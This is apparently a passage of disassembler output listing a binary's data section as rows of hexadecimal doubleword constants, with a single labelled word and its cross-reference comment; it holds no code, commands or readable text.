		dd 34A99C00h, 70118C21h, 7C40040h, 0A82C8B87h, 0AA009569h
		dd 0E2A9DF89h, 0ECAC88A6h, 7DFA1F01h, 0EE094712h, 96F301ABh
		dd 0B878302Eh, 0DCBE8CA1h, 5000DDEAh, 7C8E8409h, 7420CC59h
		dd 0A0984Fh, 3A867815h,	71D48BABh, 8CAD240Ah, 604E8F7h
		dd 1CD092C7h, 5BB9BCh, 0AB94BF61h, 6B58A2A0h, 0C301CCFAh
		dd 1C8E3EC7h, 64C4C847h, 99ED0057h, 200C8663h, 0CA50E59Dh
		dd 0EF0F06E4h, 1CB288h,	61352FF4h, 789100B7h, 0EA7539EDh
		dd 0E51C5B4Eh, 0AE55E6A6h, 523100ECh, 0ADE412FDh, 175B482Bh
		dd 0AC9E6103h, 5900CB83h, 0C704512Eh, 309C1EEEh, 91C1FCE5h
		dd 700F2F45h, 40E2F011h, 0D359E7F4h, 8ABE1CE3h,	0C0FD80B4h
		dd 1F7EA0D5h, 9D700760h, 84138Fh, 462563A3h, 0E703A73Dh
		dd 0B5EE100h, 15E44905h, 90AB3ADBh, 0A740D0h, 0FDB691C0h
		dd 6CC7302Fh, 38FBE880h, 0FA8C44h, 0BF35DF74h, 59F669EBh
		dd 7AD69A05h, 98009C9Eh, 637330Fh, 0D3A73912h, 0C7AE838Fh
		dd 78632120h, 0C1008CEFh, 3139B6C9h, 0C0886110h, 0EA121E20h
		dd 257C23EEh, 0BC006398h, 515C832h, 62C7B187h, 0FDEB8968h
		dd 41B08963h, 29005875h, 915D7A34h, 207DDCAh, 6178D37Bh
		dd 49E0921Ah, 1C01AAD5h, 0AD695B60h, 2825D0DDh,	8FD8DBD9h
		dd 867D00BBh, 822E9C42h, 9D071BC3h, 31F4A93Bh, 9EDCC00h
		dd 0C9A5Dh, 62B75B77h, 0E47A9F65h, 962AE700h, 0BDFCAE52h
		dd 0C74E18F1h, 0B564A96Dh, 4D09A373h, 312EF72h,	0F3D83B87h
		dd 0EAFCC030h, 20C92B1h, 5DE6AE3Eh, 81588CFDh, 0DCCA4300h
		dd 0D41B6C79h, 81136009h, 4D0E1E11h, 8055813Eh,	1D1970C7h
		dd 11C7868h, 21D4F93Eh,	0E87BC934h, 65003CABh, 400FE6D5h
		dd 18F9D62Eh, 0A15EC71Eh, 34002C6Fh, 3214075Dh,	0C0AC7046h
		dd 1D876E91h, 830A0B8Ah, 0EC5B8568h, 0DE62093Ch, 501420CDh
		dd 3CBC241Dh, 648054ACh
		db 36h,	3Ch
word_544F42	dw 5762h		; DATA XREF: ___:off_4374C0o
		dd 0B0A8D465h, 700374C1h, 0DE0A183Bh, 0EFC003E7h, 23985DBFh
		dd 9CCEB7B8h, 0BDB33E00h, 0FFE4C30Bh, 1BC9040Ch, 884B9730h
		dd 254984D8h, 1F420068h, 0F4261571h, 0FC680756h, 0A15370AAh
		dd 815FC6FBh, 0D05BA231h, 0E7E01D0Fh, 8B08052Dh, 847CF9ABh
		dd 59A44017h, 7EF08F81h, 3F10C900h, 0A5820FDFh,	24681D06h
		dd 4C06FEC1h, 0F1E5DEEAh, 51785700h, 82960144h,	6D0B0EFFh
		dd 0C680FC73h, 0AA450A33h, 8D803E05h, 0A45EAD70h, 0A765CC40h
		dd 22F5B6h, 0CD107D6h, 0EF5C39FBh, 3331FA01h, 0BB0B87ACh
		dd 9CDB9981h, 30F754B3h, 86054283h, 33301883h, 0E5891080h
		dd 0F6089AFFh, 0A27C00E3h, 8F03C419h, 47FACA2Bh, 0C5282F0h
		dd 8E3600B8h, 859FC8FEh, 833300A8h, 98A50196h, 0AF05F6F9h
		dd 6CD9551Bh, 0ACC4F01Dh, 1440623Ah, 0C71D313Eh, 0C0AC4354h
		dd 0B09FC903h, 2EBF0A11h, 0D05B1h, 53A94E2Dh, 2614CFADh
		dd 101220h, 0BC5F908Ah,	907C3FC1h, 0F5352480h, 0D9A06068h
		dd 0B900A37Bh, 50A1AB31h, 0BD1A24h, 3A7E3EB7h, 9A6ED682h
		dd 0EE00A898h, 7D68542Fh, 0A8F8E551h, 73C8AF84h, 7BBD0E3Eh
		dd 0B060DF6Eh, 175B5755h, 791C7700h, 1678ABC4h,	24827CCDh
		dd 9250DD4Eh, 0A98100ECh, 7DEEE7DBh, 0E59A470Ch, 243859FBh
		dd 0E1D3531h, 21C1E470h, 307E5791h, 0E7F46DD0h,	0E5620708h
		dd 0ED4880FEh, 4BBC88Fh, 99B57F00h, 0FBC276C6h,	90CD0719h
		dd 0AC122AA5h, 570043F9h, 0F55020FAh, 1355339Fh, 9C358Eh
		dd 0F4F90E90h, 6D50E9B1h, 297981CCh, 28D673Ch, 64977AA6h
		dd 3F4C44E5h, 1F00A3B0h, 0F3921819h, 0DA007E16h, 0D7B7C7E7h
		dd 9951E6ADh, 0A0280334h, 11A8D89Eh, 9D066581h,	0B650E695h
		dd 0C78C0F21h, 20F213BEh, 96188A94h, 6CE95C12h,	0EB28A900h
		dd 2A81E61Fh, 1E82D36h,	440B332Eh, 0FC4E7CD4h, 8652AC08h
		dd 69C712D0h, 0B522040h, 9C5C3Dh, 0FEB5D324h, 5A14DAEFh
		dd 6911AE18h, 3D8468D1h, 0C5008D45h, 3AF18821h,	0E2012CC1h
		dd 9B8B91CEh, 0D810AA70h, 4676645Eh, 0FCD24B00h, 2E24F4C3h
		dd 3F3A7062h, 0C80999Eh, 47ABFF5h, 800043D6h, 8D8C3791h
		dd 0B0BB4AC5h, 0AA01214h, 64984FECh, 0A6C668C0h, 0FB00D73Ch
		dd 0F59BBEA4h, 607030C9h, 6CFA79A8h, 1300E2DBh,	2D9A5147h
		dd 9B6653Fh, 7F8FF628h,	0DB05890h, 3A198400h, 0DE7E5BE3h
		dd 0D4220560h, 88E0AFBBh, 531CCB44h, 81C0A01Ch,	0D24F05DEh
		dd 11681D95h, 0CE69C124h, 0F0B58A36h, 2D01EA89h, 0FD033FD9h
		dd 918FB050h, 5A047A31h, 7E208176h, 0A0A7F31Dh,	604A84A6h
		dd 0C658317Fh, 878FE4h,	0F8CA1617h, 5DF79F7h, 0A052702Eh
		dd 1D60C0BAh, 3E12820Ah, 40029A20h, 48580B0Eh, 1A4A08h
		dd 0DB2D4035h, 2BD8F3A2h, 0A700C4FCh, 0B8E46519h, 3CAC0C10h
		dd 2D1927CFh, 0D8EE390Dh, 8F0C0651h, 0B9AB7075h, 90EA00A4h
		dd 0DC63B51Fh, 0C0188C26h, 64782280h, 84B1CB93h, 0AD6BA090h
		dd 830027F6h, 6FB6B80Ah, 0F4AB58CAh, 847CB85Eh,	46D100D0h
		dd 5107569Dh, 0AC130F01h, 1E078099h, 92B148A6h,	0A531F3AEh
		dd 7DB67EECh, 5B2E2CBEh, 6D60757h, 91F944ACh, 57DBE060h
		dd 0C5E710D4h, 0A900E65Eh, 853F9574h, 48AF562Fh, 1AC0C89Ch
		dd 97AA873Ch, 6D00627Fh, 0D3472C17h, 0B948BAFh,	0AD10C386h
		dd 0C05788Fh, 7C904092h, 3F98EDFDh, 192F5B00h, 0C8E425B0h
		dd 5C3671CAh, 11028DC3h, 3E5FDD9Fh, 7025B461h, 1303F850h
		dd 0B88437A3h, 67579855h, 209CA464h, 0D5050723h, 8EF1C62Fh
		dd 7B8F8800h, 3D0FC61h,	782579DFh, 897FBA12h, 1EE96B00h
		dd 951BAE43h, 8AB0186h,	7F0A3B60h, 0E0518024h, 52454769h
		dd 0D0463FF8h, 1360AE6Eh, 787B29F5h, 88E0DE2Ah,	54A72B0Fh
		dd 0B9E480B4h, 0CF76D9h, 25B6AFB0h, 0F4F07861h,	30CCA34Ch
		dd 0BE07B969h, 46490B8h, 4801FD1Ch, 9F6C8093h, 19173E2Eh
		dd 7A0030CCh, 29C08683h, 5AD2604h, 4B0300CCh, 83077ECh
		dd 47A9D1C2h, 3204689h,	451FBDD2h, 59B8649Fh, 945041B3h
		dd 7F30DFC8h, 0DA4929A9h, 0C2DB0057h, 0A5469D36h, 6161C6FEh
		dd 205B1A1h, 78AE0CCh, 0B55963F4h, 7A00FF34h, 0ED4C15B2h
		dd 18B82226h, 0D0809C67h, 3A97C07h, 209D77F3h, 5C9E98Ah
		dd 9457E1h, 0FF0C6B10h,	0CD30B900h, 0EE9C180Bh,	64800660h
		dd 0A2D3378Dh, 0AD2B2D09h, 0F018693Ah, 0C014E943h, 0CCC565h
		dd 6B82A6BFh, 57D864C2h, 0B9427A30h, 272FF5h, 24335348h
		dd 4CBF0F76h, 6DD98A00h, 935F204Fh, 0D5EF1857h,	0CD3131B8h
		dd 94BF9103h, 0C0D6A93Bh, 1BD261B4h, 816ED7ACh,	0C447EEAh
		dd 0AA2B4500h, 3D8D2609h, 6A6100FBh, 83659F1Bh,	604C1F64h
		dd 0D98802B8h, 8343E257h, 0D9C8364Ch, 0B4290C33h, 9AC12100h
		dd 64ECB848h, 0CD529900h, 9E0D3620h, 741600AFh,	0A4A6CE11h
		dd 3E015A41h, 77E66FC9h, 0D448E069h, 998800D8h,	0E7344D79h
		dd 0B2006F9Ah, 8D7BDA17h, 8FA18Ah, 0D9B64E96h, 3BC04703h
		dd 1E808491h, 61CCDCCh,	2E5A779Ch, 421C7C58h, 147A2C62h
		dd 0AF09B473h, 48E0A661h, 1FED3DACh, 9799E2BCh,	10C50789h
		dd 0F8605EF0h, 0C00790ADh, 5BB27400h, 45DD86EFh, 0AA3B1693h
		dd 0F06C207Fh, 0A300053Fh, 2870B3AFh, 0D25991h,	4F92EE0Eh
		dd 40BCC23h, 3440714Ah,	0A642C4B9h, 0EA2B00FEh,	5961143Eh
		dd 270231EEh, 5792C1BFh, 3260A480h, 9072DE22h, 6FF5C900h
		dd 0A399E989h, 4897004Ch, 5865B5C4h, 3B004605h,	0ADAF9339h
		dd 2CAB8AF5h, 20A4444Dh, 57A212BEh, 62342063h, 48487EC5h
		dd 806BC980h, 0DA0133D5h, 6EAC00ECh, 55BBC0A0h,	39098AD6h
		dd 0C8CE3EADh, 31F87ACh, 91F4AF76h, 191CE2E5h, 0EC00C449h
		dd 795C4B94h, 5DB01CB4h, 0BDC172Ch, 0CF8FC218h,	31FD9E80h
		dd 3EF64C2Dh, 0E9363C07h, 0A56081FEh, 9EA2927h,	0F50792F0h
		dd 1D002C64h, 0FC117738h, 3BC8D78h, 3A81D865h, 0C0DF1A0Eh
		dd 84F11849h, 0C8D1A760h, 1C8B9270h, 0CEE47CC5h, 0DEA0594Fh
		dd 3B972431h, 0C7401D13h, 0A6A75CD0h, 0F2FC001Fh, 0CE617EF6h
		dd 70F47948h, 0D31C3899h, 9221BD00h, 0D7EFAh, 18B85095h
		dd 0D0084AA8h, 9312BEE6h, 4090FD65h, 1106C76Eh,	0F3E59Bh
		dd 9F883654h, 31FFAFh, 341A7293h, 38F40CB0h, 0BD053E71h
		dd 7F8CF984h, 9CB1CC8h,	9404199Bh, 0DAECD800h, 93EAF3D2h
		dd 288068B1h, 6BCD22F5h, 6EE11960h, 0C45B9E0Bh,	8230AC03h
		dd 653B296Fh, 2C69492Bh, 9001E521h, 0D4FDF240h,	775FDA60h
		dd 7100151h, 43DDF930h,	0E63AC47Ah, 0BF09F4E2h,	0C97FD98Eh
		dd 72FFA44h, 0FEC4CFEDh, 0EFB40BC0h, 0DD27BB8Ah, 32AC99FCh
		dd 0FA1B8C40h, 0D489525Eh, 0ADAA7100h, 558FDE7Ah, 9F79861Fh
		dd 3C430E00h, 328A3Ah, 17E7AC10h, 47E2B0D5h, 0D4615713h
		dd 0BA7B8030h, 5023893h, 4BE5D160h, 0B1F251CCh,	0EF9C6200h
		dd 41828772h, 0B58C008Fh, 0C08BA2DDh, 0ACA0BEB4h, 0C4C77C2h
		dd 258A3A9Ch, 0B33401E5h, 0E4C5542Ah, 753930h, 639EEFBBh
		dd 0B6C5FFBh, 9229E060h, 1DB46618h, 13A6472h, 31774F5Bh
		dd 8DB45094h, 89508540h, 0AF4470ECh, 0E01600B5h, 159734FBh
		dd 1E0033ABh, 0F39B7635h, 2BFFD73h, 70E7820Eh, 0B472DFE5h
		dd 0A28F9000h, 838B8EFEh, 0F0B500F9h, 0AD0DF4C1h, 0BCEE4272h
		dd 0A6CE0C3Ch, 3C12A4C0h, 94CCDC08h, 0FE0224E0h, 40B319A3h
		dd 88878C60h, 6808861Fh
		dd 0F98F1AC3h, 0F046F01Dh, 0A7D43E29h, 39EC6200h, 0FBF6D98h
		dd 504EFD24h, 10300049h, 8654E1h, 0EE633EC6h, 0EB1B5AB5h
		dd 0AAFDEFA0h, 0A82E127Dh, 507E0B0h, 18DB6897h,	4170F78h
		dd 0CB66BC82h, 620C887Fh, 2951D90Fh, 170DC0D2h,	9AD7AF5h
		dd 0B819270Ah, 28542080h, 86199AC5h, 69E89DC7h,	73086816h
		dd 0AC616557h, 9932601Ch, 6D006F44h, 84099463h,	5CAF6175h
		dd 86C088D7h, 0D25A5D24h, 1926B1F8h, 7C0C4B38h,	3BCD789Bh
		dd 8D016685h, 0B8EC228h, 0C48C20DEh, 0C0A82E4Ch, 1CAF2CCCh
		dd 7EA300DAh, 31C34190h, 5707D588h, 0A99E9C15h,	780070B5h
		dd 98E007E2h, 522B008Eh, 0B55B5DB7h, 0A850F683h, 0A00B79A8h
		dd 10277690h, 0B8D5640Ch, 0B4FC0328h, 89EF2FFDh, 54A048h
		dd 22C791C2h, 9046D0FEh, 9B6F0680h, 80935E29h, 5AC3348h
		dd 4E24D92Eh, 79DCA2h, 0A7C0B4F0h, 7991540Ch, 0A609C0FDh
		dd 7D050A73h, 0E3052B8Fh, 0CB909440h, 2EF80h, 388B824Ch
		dd 157F695Ah, 802E7724h, 0C9D13A60h, 0F8421C44h, 774E832Fh
		dd 214E7430h, 0A83FE020h, 804B0079h, 0EC14E03Ah, 5F060160h
		dd 110B579Dh, 1F4B7031h, 32EF6Fh, 4E2B5962h, 0B005FB2Eh
		dd 45AD0F8Dh, 0FBFBCC8h, 90C1FD76h, 6AB4039Dh, 0A9888DE9h
		dd 0BB7EA144h, 0E065DD1Ch, 0A7BFD002h, 968B92h,	0EE62B780h
		dd 33761889h, 0F1E5794Fh, 0CA005C92h, 0A734B5E1h, 0D19727h
		dd 0FF6553B1h, 5D7CC12Fh, 4C2E5826h, 69EDFD0Bh,	46363F4h
		dd 8BA76A03h, 76A050FCh, 0A9E048D5h, 0BBD0261Fh, 74C1C40h
		dd 0EB7558Eh, 87C0F672h, 25886E5h, 82F8DAE4h, 0ED97F6C0h
		dd 0B409A929h, 40E25B07h, 62E7AE00h, 80EC962Bh,	0D7C589F5h
		dd 3548F2D0h, 2F3209D8h, 7AD48334h, 0CB2EC8E1h,	0D0404CE8h
		dd 1C01613h, 0F25C9C49h, 0DAB0208Eh, 7891B100h,	3AFED717h
		dd 920728B0h, 785A394h,	3B9E8208h, 0AE3DC00Eh, 0F97AFDBFh
		dd 0D82F872Eh, 0C32D5660h, 0A8275CEAh, 0E0820B02h, 0D8F1D836h
		dd 0E36E8E00h, 91840D76h, 20D60ED8h, 701C8320h,	0A416C3DAh
		dd 24D0E0AFh, 2AD7E4h, 73445284h, 8CAD1094h, 7E9C90B4h
		dd 88DAE4Ah, 32996105h,	6C5B4481h, 0FC848872h, 0D278A4C6h
		dd 2DF09805h, 0DC3091A1h, 3E7CC90h, 4B6ECBDBh, 0EAC0D8ECh
		dd 4400BC9Ah, 2E991D58h, 96E0A6D3h, 35258094h, 897A8A5Eh
		dd 80F8F33Ch, 804F999Fh, 4FD3332h, 0D6F5FC12h, 40E087F4h
		dd 0C757DEE6h, 55417660h, 26F946h, 3C45FE50h, 7BFA2CCDh
		dd 0D50FEF17h, 14A16CC7h, 0CC290A04h, 464D1E00h, 40ECA37Dh
		dd 3188B401h, 0C71452D2h, 17F902DCh, 30E67B67h,	82E0F800h
		dd 8E892B3Eh, 0E06B9AADh, 0E4531018h, 0FD520980h, 0F890B7EAh
		dd 1502D23Bh, 27AA235Fh, 98CC44ADh, 3CC9930h, 737DCA8Ch
		dd 10409BC2h, 0A6019D0Eh, 0E5BD5513h, 482D70A0h, 0B280763Ch
		dd 0B5AD5809h, 540083B9h, 9F1E304Ah, 512514Fh, 0F38AB046h
		dd 0AC28C2E9h, 0CE11F428h, 985BFD15h, 0CD093458h, 88E4717Ah
		dd 950E3EEEh, 0E0E2D7CAh, 0E68FFDD1h, 5980005Fh, 0FAA18D24h
		dd 8A0411E7h, 0B57288F0h, 1C84A084h, 0CC458D1h,	8D77F0h
		dd 0F4360DD2h, 0C0620F95h, 0B4BE0216h, 0E4D1EC52h, 66F45FF8h
		dd 0DA2204A2h, 0C0BFBC12h, 5DFB9336h, 576FE009h, 71F86664h
		dd 5120AFCh, 3E8D53Bh, 0C628AC15h, 0E860B7EAh, 12015032h
		dd 65253B8Bh, 0D9820339h, 0E907ADA6h, 10586441h, 3B610Fh
		dd 78E15D36h, 3CCCABEFh, 99E2F090h, 0A5A480Bh, 0A6FC48DAh
		dd 1F7500B9h, 77EE60Bh,	28E4D4E2h, 0CE472600h, 3CF1688Fh
		dd 0B8C10B8Eh, 0FA06DD72h, 9F3A5892h, 7490D094h, 70A5F0A1h
		dd 414C9AA8h, 750A0C30h, 30BD19F7h, 23C8B9C3h, 0D44D5CE1h
		dd 0A88D3218h, 90647Fh,	1D450DA5h, 64E4D891h, 0EB578D00h
		dd 1E7C0B4Fh, 0FC970062h, 0CFAD7BA7h, 0B4B17F37h, 71EFFE01h
		dd 76CC0777h, 0AADE00AFh, 3BB39F2Fh, 349E6535h,	0C08CF240h
		dd 0B8A41F5Fh, 0C88D404Ch, 53FC48DDh, 0C5B83660h, 2457707Ch
		dd 9C64D1E2h, 66970AE6h, 1E510008h, 71CDBBC1h, 5AFCE401h
		dd 0D8E6A86Bh, 12246822h, 0F38D45C4h, 0DFE100C0h, 0E4C22941h
		dd 70CD3A7Dh, 0B2FB60Bh, 6B226C68h, 20041A00h, 50028864h
		dd 0C06A00ABh, 55A4E8Dh, 192C11B4h, 0AA0BE054h,	933CC075h
		dd 0E2B800B5h, 56EAB1C7h, 0F928D8C6h, 93A2C80Ch, 2E80D051h
		dd 2F9E5CEBh, 0FE5E1C4Bh, 8C4E00A9h, 18390709h,	0ED96600h
		dd 91B2A4F4h, 2B878ADh,	6DEBD11Eh, 9066EED4h, 391468F6h
		dd 3E9C1B15h, 972B12CFh, 0FDF26C77h, 4CD84650h,	4894148Dh
		dd 0BF0ACA00h, 0A04BFC07h, 0D3BD6309h, 1C9F0AB1h, 0DA283280h
		dd 3D439ADh, 25E5CDEAh,	0A4C462FAh, 685357D0h, 0EE481D38h
		dd 0F0A2A012h, 240C2200h, 117342BEh, 15204F60h,	24C63EFh
		dd 0FDF485B8h, 0A4E1D75Fh, 1DC33C6h, 0BD756412h, 32D059BEh
		dd 0E64F0936h, 142121B6h, 50B45303h, 83EF9818h,	9E172C00h
		dd 41F0BF56h, 198A6DBh,	0CA9B244Ch, 62DE668Ah, 6F6E0028h
		dd 577F5C2Bh, 498005Dh,	7EF54A09h, 0EB1C0C80h, 0BB80DCD1h
		dd 65A7CA2Eh, 0AD2012B7h, 0ACE8D33Ah, 0EF0FB800h, 56A49DD3h
		dd 5D124B21h, 0AEE404Ch, 0FD1FA6E8h, 3569F000h,	61B43B2Fh
		dd 0CFAC03A0h, 7F328B0Eh, 10B7DFF9h, 48F5273Ah,	0C180CC84h
		dd 5A7A69B3h, 0E5FDE4F5h, 0DBCB0B09h, 6EA187B6h, 9E67C6E0h
		dd 2BA300FEh, 0B129EAD9h, 0AB04795Ah, 814B511Eh, 21B3D0C2h
		dd 62DDA23Bh, 4ADA0214h, 6074B93Dh, 24AE1758h, 0BCEB4AAh
		dd 5209AD54h, 0EB642064h, 40C0CE68h, 25932979h,	0A02255FDh
		dd 507964ADh, 6AE39C00h, 1E9A2BE2h, 4188611Dh, 92C33586h
		dd 12073D3h, 0F1758048h, 68F420B6h, 98BF1F6Fh, 0BC180B1h
		dd 7944490Ah, 2B02BCB8h, 84A76845h, 3CF2E5h, 51B0B471h
		dd 9A592D6Ah, 2FF03702h, 0D27E3BACh, 1CDF0014h,	0D525F354h
		dd 0F1009B44h, 32572326h, 45C9DDh, 0D8E228C8h, 5148903h
		dd 0C8B4873Eh, 0E1F7802Ch, 22F670Bh, 529A64D5h,	64E12C76h
		dd 6D2461D9h, 0A462167Ch, 0EFC57827h, 0B48424F4h, 31EB8040h
		dd 665B80FCh, 0B157A12h, 7591A427h, 10E8588Ch, 0B98821D5h
		dd 44E014h, 0F06F4104h,	90F9D053h, 6CBC3A18h, 6781ED30h
		dd 4500AD62h, 0C7270B51h, 16869479h, 89365C9h, 0F5854350h
		dd 0B1800832h, 2479E00Eh, 28D3499h, 0C749B4D3h,	0E700ECE6h
		dd 0ADD1CA41h, 1154FB99h, 4FE645A7h, 78FE420h, 0F0170F19h
		dd 0F5805474h, 0F70A8698h, 5E8D8A24h, 24053812h, 60CCB95Ah
		dd 4044BE26h, 0C10A72F6h, 637A1601h, 0D2F93F97h, 0E2D903C1h
		dd 0CD003036h, 14BFFDB6h, 0B802C8ECh, 0ACEEED78h, 0F6846457h
		dd 0A69B3E37h, 2B90B1Eh, 32300793h, 0DCF8FCFAh,	48E63C27h
		dd 0D51B18h, 257BC8CFh,	0DFBDA3Bh, 0D8A4E500h, 1FD6A529h
		dd 0AFD40078h, 585C7F68h, 9D014C39h, 0ABE3D986h, 4992F245h
		dd 0DD0420C7h, 0C5008FBBh, 6104CF2Eh, 59D9D2D0h, 352FB86Fh
		dd 399A1090h, 8F6D9B3Bh, 0C09D3723h, 0A9A4D887h, 58273D51h
		dd 0D8F2F494h, 53172404h, 18B90Bh, 0C59F7BD6h, 1664A57Ah
		dd 39DE9D8h, 0FEA1C2F0h, 0DC23F6F8h, 0E74BF20Fh, 5B03B3DBh
		dd 50592E77h, 0ACE041h,	512BAD8Eh, 0F4C4A9E5h, 0DC353204h
		dd 28A53165h, 5EA4202Bh, 8C003008h, 84151237h, 3AC576B5h
		dd 0FD02B1C3h, 0A1D611Ch
		dd 0A200D4FAh, 8D9BCBBCh, 72E5D89h, 0A03D3783h,	744CD1FFh
		dd 60EC4D57h, 1C9C51F4h, 0AEDB1108h, 65FA40C0h,	0E50FE90h
		dd 6700F795h, 0F02AF58Fh, 14DFDB59h, 0F09505E6h, 67EC7526h
		dd 325C2257h, 0AF8FEB60h, 114BE00h, 82EA88CCh, 0E94B09A2h
		dd 60B2C377h, 6A70B018h, 0D2A32002h, 4199F335h,	2708D0F4h
		dd 12860344h, 28953Fh, 0F2F59E27h, 274A06CCh, 27996ECh
		dd 933E6469h, 864E0A6h,	0BCE9DB1Ch, 0B7188243h,	0EA7AC87Ch
		dd 276D0068h, 57A3EDADh, 6388461h, 0E73F7C32h, 9610D939h
		dd 0C0DC001h, 983DD8ACh, 2DEAFD1Fh, 39A20810h, 8CC8884Eh
		dd 7BD03C05h, 321E9A80h, 0CB24C84Ch, 33F3BD00h,	26238696h
		dd 5841983Eh, 32014CA1h, 0A6D48C0Fh, 27709241h,	49C60C08h
		dd 0A6F284D2h, 0AC805700h, 0E8D2FE9h, 9EC91D13h, 0B0E4A548h
		dd 745CD901h, 493CD699h, 6010F0h, 2F7E4A34h, 3FF8DAABh
		dd 8CB0CD70h, 53B8813h,	0F459F020h, 817B0F7Dh, 1860D55Dh
		dd 3446E88Eh, 64107201h, 78DEE053h, 5F100A3Eh, 0E6FD0578h
		dd 0D24C8DAAh, 21C30C81h, 9C9A0007h, 0B570308Dh, 335BC829h
		dd 0A503867Ah, 0FD31F920h, 3DEC8036h, 0A823B5E0h, 24F89103h
		dd 0B400B12Ah, 90726DCDh, 172B2C61h, 0C3FB3F40h, 0C48497E0h
		dd 841C0660h, 0DA1C69B2h, 21C00108h, 27FBDF41h,	0B069511Ch
		dd 103B21F2h, 0F01760F5h, 0E90AAC25h, 0E4F83534h, 5DEB0325h
		dd 0F54707D0h, 0F08E09E0h, 0F8312701h, 0AA0D512Dh, 0DA0EA1D7h
		dd 77008822h, 0CEFBC871h, 113ACC80h, 0E55825h, 0D456F3A4h
		dd 98269F4Ch, 43D85B94h, 0B7A76590h, 62BDF9C8h,	7F31F407h
		dd 54402FA3h, 16C512Eh,	56E793F0h, 38E95B97h, 9AF1334h
		dd 0D8903423h, 0E75CE12h, 0B4B3C02Eh, 0D0E1D840h, 794C9E83h
		dd 0D9993EDCh, 4C8126ECh, 0ED0F1B02h, 0E851FCh,	72DF8D9Ah
		dd 93255B76h, 9C68207Eh, 7BCD089h, 0FE918130h, 704882DBh
		dd 3836F090h, 2786E100h, 9F2784Ah, 8B401F1h, 0BEEE0EBAh
		dd 0FD5520A1h, 8FF82F09h, 17CD925h, 63B5A04h, 4C193039h
		dd 7B31E20Eh, 0DC6BA215h, 5E606292h, 0A40A4090h, 45006F60h
		dd 0F81651C0h, 0A1894FB9h, 0CDC41960h, 22706C3h, 2879981Ch
		dd 9CBF8B17h, 6780C8h, 0DDEEF1A9h, 1D95E733h, 0ED8A5900h
		dd 0C0F8FBFAh, 1C365CF4h, 3E480726h, 0A5347E02h, 0E8E019BBh
		dd 2F02F148h, 313DACC8h, 0F994C035h, 0A7E901CEh, 0F4880ECDh
		dd 1EE83398h, 48BC8692h, 0CCD61388h, 246AA00Bh,	3343ACD4h
		dd 5D90D40Ch, 0BD02EABAh, 76BB2CB6h, 2580DA2Dh,	0F423C6EEh
		dd 0E9B00C1Ch, 0D900DA5Bh, 0C77312FCh, 1517F8h,	7DA1EF4Eh
		dd 0AD5EFA36h, 1453835Eh, 86CC49h, 68B03EB0h, 4A2205AAh
		dd 0A2611F6Eh, 37A9024Ch, 54EEA4F8h, 18884030h,	0C2006D40h
		dd 9194439Eh, 4C034D7Fh, 0E960D85Fh, 0A89B2FE8h, 5CB852h
		dd 8C288DA7h, 133691C0h, 907D579Dh, 45AE8BE0h, 0CBF4909Fh
		dd 16EF027Fh, 0F0D97BCEh, 7700CC51h, 0FAF4E2F5h, 442800D4h
		dd 524D3AD7h, 79078081h, 2F1A8D18h, 2447319h, 0E4244D86h
		dd 60005051h, 5569F40Dh, 3F5B008Fh, 5A201BA4h, 38040CFDh
		dd 0BE1A077Bh, 9D8008E8h, 519C3A6Ch, 449FF305h,	0C8CC961Eh
		dd 13730E7Ch, 1109A832h, 0C80BF484h, 1900EAC4h,	0B0408AD5h
		dd 489195E6h, 0A544BAA2h, 0CB8D0FD9h, 80B7E829h, 0F7C6DAF0h
		dd 0D73B9B0Eh, 580D2015h, 94D39A94h, 1744A14h, 3FC97BFDh
		dd 85006E7Fh, 0BEF89EF2h, 8C10B56Ah, 0CC001426h, 9087B523h
		dd 1D1FAEDBh, 865C2BA4h, 297C6857h, 0EC90716h, 900044B2h
		dd 0B3E111CFh, 0DE0E66D0h, 206F7BD8h, 9CF8018Dh, 6A320028h
		dd 3B8B07E0h, 365E6521h, 11397C20h, 5C450023h, 0EFB4155Ah
		dd 2074BF84h, 8A19BC05h, 3CC24A90h, 9D1723CBh, 0CA56A688h
		dd 7E00DEFEh, 0E3B8C40h, 4E57E1E6h, 21C8A7Ah, 660D3990h
		dd 0E2C055DDh, 0EF07CFAFh, 0E024F7A9h, 804804D9h, 3F122121h
		dd 1C40645Eh, 9256DA5Ch, 60EE05D5h, 0B0AC35Fh, 0D3803960h
		dd 2E3AFF0Eh, 71088C2h,	1CB06411h, 567135CCh, 725031A5h
		dd 0F36BFC12h, 968F6600h, 4A3E3635h, 0B343BA2h,	90D298A8h
		dd 0C489994h, 32462D4h,	73000F70h, 20D3BDACh, 50A2C7ADh
		dd 3847147Eh, 0AE000B65h, 0F019C687h, 867CE776h, 0F9AF3400h
		dd 22253090h, 38D0069h,	0C81FCDA2h, 630075C9h, 26F5F1C6h
		dd 327734h, 0C3BC9280h,	6804B045h, 96EA5800h, 70CF014Eh
		dd 0FEA6EE6Bh, 0C78F0075h, 3618C13Ch, 3E00485Eh, 0C0DE118Bh
		dd 8DAA70h, 5FEC2DE8h, 6889F444h, 70D0C231h, 2040BF8Fh
		dd 3B564A11h, 0E250672Dh, 34E700B9h, 4BE4E95Fh,	8800C1AAh
		dd 8F1840DFh, 693642E0h, 0B2003874h, 0E51C0D93h, 0B407700h
		dd 0BAA71647h, 0DF6E317Ah, 0CC082D69h, 0F10BADCCh, 3DD4FA0h
		dd 0F82A3448h, 608C05E3h, 0D4BD3871h, 44067F66h, 0D96732E6h
		dd 2C141F41h, 0B0F10125h, 0C4F74347h, 0C760E5C6h, 0EEAE9820h
		dd 0D5B5006Ah, 0DF4DA45Eh, 7F008E43h, 0D7B7C414h, 0A07D2396h
		dd 0F9E0B9Ch, 4D0F413Bh, 0C502061Dh, 0B90049E1h, 0F8188F8Dh
		dd 0E4E9BB6h, 56279645h, 0C567E1E2h, 80E73885h,	0AEEFA5F5h
		dd 61FB8900h, 0B82D1BCFh, 35A205DEh, 43CBA75Ch,	0F81042ACh
		dd 30EA4BC8h, 0F9389B72h, 21B7B0DCh, 12C447C9h,	0FCF3BB6h
		dd 37029828h, 0F8812EE7h, 9DDAE18Ah, 340CB29h, 7E92F39Eh
		dd 3A33009Dh, 0B5064F46h, 0B20C170Eh, 50A7ADE6h, 0F4CBEE88h
		dd 0BABF00C6h, 0B6075A2Fh, 0CE038699h, 69E9ED46h, 4EE7D0F4h
		dd 221B6F2Bh, 4152BD61h, 0D8E4213Eh, 253035C0h,	9B1D888Ah
		dd 19ED091Bh, 64D57h, 48F4C1BAh, 3E06160Fh, 76F486FBh
		dd 86891230h, 0B26C20C6h, 0F958098Fh, 0BC0B00FAh, 6A8764B8h
		dd 0EAC8144Eh, 3501CC57h, 0EB282363h, 44F180E1h, 471D508h
